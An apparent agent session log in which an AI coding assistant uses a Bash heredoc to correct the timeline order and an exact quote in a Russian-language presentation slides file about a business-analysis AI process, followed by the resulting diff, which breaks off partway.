\"type\": \"assistant\",\n[2026-09-29T07:51:22.335Z] [INFO]   \"message\": {\n[2026-09-29T07:51:22.335Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:22.335Z] [INFO]     \"id\": \"msg_011CfXNCr7yt1kq9WDr9hYDC\",\n[2026-09-29T07:51:22.335Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:22.335Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:22.335Z] [INFO]     \"content\": [\n[2026-09-29T07:51:22.335Z] [INFO]       {\n[2026-09-29T07:51:22.335Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:22.335Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:22.335Z] [INFO]         \"signature\": \"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\"\n[2026-09-29T07:51:22.335Z] [INFO]       }\n[2026-09-29T07:51:22.335Z] [INFO]     ],\n[2026-09-29T07:51:22.335Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:22.335Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:22.335Z] [INFO]       \"cache_creation_input_tokens\": 1726,\n[2026-09-29T07:51:22.335Z] [INFO]       \"cache_read_input_tokens\": 98463,\n[2026-09-29T07:51:22.335Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:22.335Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:22.335Z] [INFO]         \"ephemeral_1h_input_tokens\": 1726\n[2026-09-29T07:51:22.335Z] [INFO]       },\n[2026-09-29T07:51:22.335Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:51:22.335Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:22.335Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:22.335Z] [INFO]     },\n[2026-09-29T07:51:22.335Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:22.335Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:22.335Z] [INFO]   },\n[2026-09-29T07:51:22.335Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:22.335Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:22.335Z] [INFO]   \"uuid\": \"50e59e01-a206-483b-86be-08e757b98563\",\n[2026-09-29T07:51:22.335Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:22.323Z\",\n[2026-09-29T07:51:22.335Z] [INFO]   \"request_id\": \"req_011CfXNCqgBQ1Aey49nmU6hh\"\n[2026-09-29T07:51:22.335Z] [INFO] }\n[2026-09-29T07:51:26.220Z] [INFO] {\n[2026-09-29T07:51:26.220Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"message\": {\n[2026-09-29T07:51:26.220Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:26.220Z] [INFO]     \"id\": \"msg_011CfXNCr7yt1kq9WDr9hYDC\",\n[2026-09-29T07:51:26.220Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:26.220Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:26.220Z] [INFO]     \"content\": [\n[2026-09-29T07:51:26.220Z] [INFO]       {\n[2026-09-29T07:51:26.220Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:26.220Z] [INFO]         \"id\": \"toolu_01HhvHiY2hrfxUMPXQche2yK\",\n[2026-09-29T07:51:26.220Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:26.220Z] [INFO]         \"input\": {\n[2026-09-29T07:51:26.220Z] [INFO]           \"command\": \"python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\npairs=[(\\\"\\\"\\\"- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\\"\\\"\\\",\\n\\\"\\\"\\\"- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\\n  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\\"\\\"\\\"),\\n(\\\"\\\"\\\"> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 [\u2026] \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\\n> \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u00bb.\\\"\\\"\\\")]\\nfor a,b in pairs:\\n    assert s.count(a)==1; s=s.replace(a,b)\\nopen(p,'w').write(s)\\nEOF\",\n[2026-09-29T07:51:26.220Z] [INFO]           \"description\": \"Fix timeline order and exact quote\"\n[2026-09-29T07:51:26.220Z] [INFO]         },\n[2026-09-29T07:51:26.220Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:26.220Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:26.220Z] [INFO]         }\n[2026-09-29T07:51:26.220Z] [INFO]       }\n[2026-09-29T07:51:26.220Z] [INFO]     ],\n[2026-09-29T07:51:26.220Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:26.220Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:26.220Z] [INFO]       \"cache_creation_input_tokens\": 1726,\n[2026-09-29T07:51:26.220Z] [INFO]       \"cache_read_input_tokens\": 98463,\n[2026-09-29T07:51:26.220Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:26.220Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:26.220Z] [INFO]         \"ephemeral_1h_input_tokens\": 1726\n[2026-09-29T07:51:26.220Z] [INFO]       },\n[2026-09-29T07:51:26.220Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:51:26.220Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:26.220Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:26.220Z] [INFO]     },\n[2026-09-29T07:51:26.220Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:26.220Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:26.220Z] [INFO]   },\n[2026-09-29T07:51:26.220Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:26.220Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"uuid\": \"61d6fcb8-e767-4743-88a4-fc4c7501f0e7\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:26.207Z\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"request_id\": \"req_011CfXNCqgBQ1Aey49nmU6hh\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:26.220Z] [INFO]     \"toolu_01HhvHiY2hrfxUMPXQche2yK\": {\n[2026-09-29T07:51:26.220Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\npairs=[(\\\"\\\"\\\"- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\\"\\\"\\\",\\n\\\"\\\"\\\"- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\\n  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\\"\\\"\\\"),\\n(\\\"\\\"\\\"> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 [\u2026] \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\\n> \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u00bb.\\\"\\\"\\\")]\\nfor a,b in pairs:\\n    assert s.count(a)==1; s=s.replace(a,b)\\nopen(p,'w').write(s)\\nEOF\",\n[2026-09-29T07:51:26.220Z] [INFO]       \"description\": \"Fix timeline order and exact quote\"\n[2026-09-29T07:51:26.220Z] [INFO]     }\n[2026-09-29T07:51:26.220Z] [INFO]   },\n[2026-09-29T07:51:26.220Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:51:26.220Z] [INFO]     \"toolu_01HhvHiY2hrfxUMPXQche2yK\": {\n[2026-09-29T07:51:26.220Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation\"\n[2026-09-29T07:51:26.220Z] [INFO]     }\n[2026-09-29T07:51:26.220Z] [INFO]   }\n[2026-09-29T07:51:26.220Z] [INFO] }\n[2026-09-29T07:51:27.871Z] [INFO] {\n[2026-09-29T07:51:27.871Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:27.871Z] [INFO]   \"message\": {\n[2026-09-29T07:51:27.871Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:27.871Z] [INFO]     \"content\": [\n[2026-09-29T07:51:27.871Z] [INFO]       {\n[2026-09-29T07:51:27.871Z] [INFO]         \"tool_use_id\": \"toolu_01HhvHiY2hrfxUMPXQche2yK\",\n[2026-09-29T07:51:27.871Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:27.871Z] [INFO]         \"content\": \"(Bash completed with no output)\",\n[2026-09-29T07:51:27.871Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:27.871Z] [INFO]       }\n[2026-09-29T07:51:27.871Z] [INFO]     ]\n[2026-09-29T07:51:27.871Z] [INFO]   },\n[2026-09-29T07:51:27.871Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:27.871Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:27.871Z] [INFO]   \"uuid\": \"f84f7b68-ebcd-448e-9e7a-e1680f3a188a\",\n[2026-09-29T07:51:27.871Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:27.866Z\",\n[2026-09-29T07:51:27.871Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:27.871Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T07:51:27.871Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:27.871Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:27.871Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:27.871Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:51:27.871Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:51:27.871Z] [INFO]       \"files\": [\n[2026-09-29T07:51:27.871Z] [INFO]         {\n[2026-09-29T07:51:27.871Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:27.871Z] [INFO]           \"hunks\": [\n[2026-09-29T07:51:27.871Z] [INFO]             {\n[2026-09-29T07:51:27.871Z] [INFO]               \"oldStart\": 187,\n[2026-09-29T07:51:27.871Z] [INFO]               \"oldLines\": 11,\n[2026-09-29T07:51:27.871Z] [INFO]               \"newStart\": 187,\n[2026-09-29T07:51:27.871Z] [INFO]               \"newLines\": 11,\n[2026-09-29T07:51:27.871Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" **\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 